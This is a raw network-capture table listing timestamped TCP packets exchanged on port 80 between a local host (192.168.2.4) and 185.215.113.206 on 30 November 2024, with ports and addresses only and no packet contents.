Nov 30, 2024 09:44:20.370491982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.370502949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.370635986 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.372361898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.372375011 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.372416973 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.372432947 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.373920918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.373934031 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.373949051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.373970985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.374007940 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.375638962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.375650883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.375694990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.375715017 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.377342939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.377355099 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.377392054 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.380773067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.380785942 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.380829096 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.382564068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.382576942 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.382586956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.382616997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.382632017 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.384196043 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.384212971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.384248972 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.384267092 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.385899067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.385910988 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.385942936 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.385963917 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.387609959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.387655973 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.389349937 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.389358997 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.389394999 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.389424086 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.391060114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.391071081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.391113043 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.392777920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.392790079 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.392836094 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.394468069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.394480944 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.394522905 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.396197081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.396209955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.396289110 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.397900105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.397911072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.397953987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.442316055 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.562199116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.896311045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.896450043 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.896697998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.896750927 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.897411108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.897459030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.897649050 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.897696018 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.898443937 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.898495913 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.899216890 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.899228096 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.899276018 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.900415897 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.900428057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.900469065 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.901962042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.901973009 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.902017117 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.903570890 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.903605938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.903641939 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.903666973 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.905221939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.905232906 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.905277014 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.906603098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.906614065 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.906651974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.908279896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.908308029 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.908328056 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.908355951 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.910024881 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.910036087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.910075903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.911735058 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.911747932 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.911789894 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.913455009 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.913465977 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.913475990 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.913512945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.915162086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.915206909 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.915230989 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.915257931 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.916870117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.916881084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.916922092 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.918591022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.918602943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.918637991 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.918675900 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.920284033 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.920295954 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.920305014 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.920331955 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.920360088 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.922003031 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.922014952 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.922055006 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.923688889 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.923707962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.923739910 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.923768997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.925448895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.925461054 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.925502062 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.927145958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.927159071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.927196026 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.928819895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.928842068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.928852081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.928873062 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.928891897 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.930573940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.930584908 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.930627108 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.932293892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.932305098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.932346106 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.934267044 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.934292078 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.934314966 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.934341908 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.935719967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.935730934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.935772896 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.937377930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.937397957 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.937427998 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.937454939 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.939135075 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.939146042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.939157009 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.939179897 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.939203978 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.942559004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.942572117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.942615032 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.944255114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.944267035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.944304943 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.945943117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.945980072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.945990086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.946008921 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.946038961 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:20.947711945 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:20.947771072 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.029109955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.029346943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.029433012 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.030113935 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.030181885 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.030875921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.030930996 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.031655073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.031666040 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.031722069 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.033216000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.033236980 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.033312082 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.034770012 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.034780979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.034801006 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.034826040 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.036309958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.036322117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.036376953 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.037846088 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.037858963 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.037899971 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.037940025 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.039362907 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.039385080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.039438009 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.041130066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.041142941 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.041189909 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.042805910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.042819977 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.042885065 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.042913914 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.044522047 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.044534922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.044595003 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.046236992 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.046250105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.046260118 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.046391010 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.047921896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.047944069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.048005104 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.049668074 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.049679995 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.049737930 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.051389933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.051402092 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.051469088 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.053091049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.053102016 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.053111076 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.053163052 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.053184986 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.054816961 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.054827929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.054886103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.056498051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.056509972 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.056571007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.058182001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.058206081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.058245897 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.058275938 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.059883118 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.059923887 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.059990883 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.061649084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.061661005 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.061669111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.061719894 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.061733007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.097997904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.098050117 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.098371029 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.098423958 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.099128008 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.099178076 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.099440098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.099492073 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.100210905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.100272894 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.101082087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.101094007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.101135015 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.102555990 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.102566004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.102603912 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.104088068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.104098082 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.104137897 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.105824947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.105837107 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.105870008 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.105897903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.107181072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.107192039 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.107222080 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.107242107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.108715057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.108725071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.108772039 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.108818054 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.110429049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.110440969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.110493898 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.112145901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.112158060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.112193108 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.112210989 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.113822937 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.113847971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.113868952 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.113892078 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.115557909 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.115570068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.115580082 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.115598917 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.115621090 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.117275953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.117286921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.117324114 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.118967056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.118987083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.119021893 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.119036913 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.120709896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.120722055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.120759964 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.122386932 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.122410059 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.122420073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.122433901 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.122458935 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.124134064 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.124145985 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.124177933 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.124201059 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.125834942 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.125849962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.125958920 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.127554893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.127567053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.127618074 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.129260063 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.129271984 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.129314899 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.130930901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.130944014 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.130960941 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.130987883 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.130999088 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.132682085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.132693052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.132726908 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.134392977 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.134403944 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.134449005 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.134459972 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.136121035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.136132002 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.136181116 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.137840033 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.137851954 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.137860060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.137893915 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.137913942 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.139539957 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.139550924 CET	80	49749	185.215.113.206	192.168.2.4
